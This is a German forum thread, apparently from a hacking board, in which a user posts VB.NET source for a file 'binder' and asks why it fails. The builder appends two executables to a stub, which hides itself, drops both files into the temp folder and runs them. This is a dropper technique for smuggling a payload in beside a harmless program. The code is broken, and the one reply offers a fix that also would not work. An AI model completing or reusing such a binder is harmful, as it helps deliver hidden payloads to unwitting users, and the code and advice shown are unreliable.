[vb.net] Binder 2 versuch [Hilfe :(]

[inmate]

Moin Leute , ich weis echt nicht mehr weiter.
Also ich wollte nen Binder machen aber irgenwie geht das nicht :/
Ich bekomm ne Fehlermeldung :"Ungültige Konvertierung von typ byte"
Ich habe schon extra die Builder Methode von ThePapst genommen , da ich dacht es läge vllt an meiner aber so war es nicht

Hier der Builder :

Imports Microsoft.VisualBasic.Compatibility
Imports System.IO
Public Class frmMain

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        
        With SaveFileDialog1
            .FileName = "Bound.exe"
            .CheckPathExists = True
            .Filter = "executable datas(*.exe,*.bat) | *.exe*,*.bat*"
            .ShowDialog()
        End With

        Dim bytes1() As Byte = My.Computer.FileSystem.ReadAllBytes(TextBox1.Text)
        Dim bytes2() As Byte = My.Computer.FileSystem.ReadAllBytes(TextBox2.Text)


        File.Copy(My.Application.Info.DirectoryPath & "\stub.exe", SaveFileDialog1.FileName)
        Dim Trennzeichen As Char = "#"



        Dim Einstellungen As New VB6.FixedLengthString(100)
        Einstellungen.Value = bytes1 & Trennzeichen & bytes2

        FileOpen(1, (SaveFileDialog1.FileName), OpenMode.Binary)
        FilePut(1, Einstellungen.Value, LOF(1) + 1)
        FileClose(1)

        MsgBox("Datei erfolgreich gebunden!", MsgBoxStyle.Information, "Succesfully")

und hier die stub:

Imports System.IO
Imports Microsoft.VisualBasic.Compatibility
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Hide()
        File.Copy(Application.ExecutablePath, My.Application.Info.DirectoryPath & "\Stubkopie.exe")
        Dim Einstellungen As New Compatibility.VB6.FixedLengthString(100)
        FileOpen(1, (My.Application.Info.DirectoryPath & "\Stubkopie.exe"), OpenMode.Binary)
        FileGet(1, Einstellungen.Value, LOF(1) - 99)
        FileClose(1)
        Dim Trennzeichen As Char = "#"
        Dim Builderdaten As String() = Einstellungen.Value.Split(Trennzeichen)
        File.Delete(My.Application.Info.DirectoryPath & "\Stubkopie.exe")
        Dim bytes1() As Byte = {Builderdaten(0)}
        Dim bytes2() As Byte = {Builderdaten(1)}
        IO.File.WriteAllBytes(Environ("tmp") & "\Bind1.exe", bytes1)
        IO.File.WriteAllBytes(Environ("tmp") & "\Bind2.exe", bytes2)

        Process.Start(Environ("tmp") & "\Bind1.exe")
        Process.Start(Environ("tmp") & "\Bind2.exe")

    End Sub
    Private Sub entpacken()


    End Sub
End Class

Ich möchte einfach nur das die beiden Dateien in bytearrays an die Stub übergeben werden.Aus der Stub heraus sollen sie ins Verzeichniss "tmp" gedroppt und ausgeführt werden.

Hoffentlich findet einer meine(n) Fehler


mfG

edit:

Ok der Fehler lag im Builder , ich darf die bytes nicht in string konvertieren , aber jetzt kommt hier folgender Fehler:
Der & operator ist für die Typten "1-Dimensionales Array" und "Char" nicht definiert

/push , weis es denn echt keiner

[hackerking]

        Dim bytes1 As String = TextBox1.Text
        Dim bytes2 As String = TextBox2.Text


        File.Copy(My.Application.Info.DirectoryPath & "\stub.exe", SaveFileDialog1.FileName)
        Dim Trennzeichen As Char = "#"



        Dim Einstellungen As New VB6.FixedLengthString(100)
        Einstellungen.Value = bytes1 & Trennzeichen & bytes2

Wieso um himmels willen willst du die strings in bytes konvertieren oO?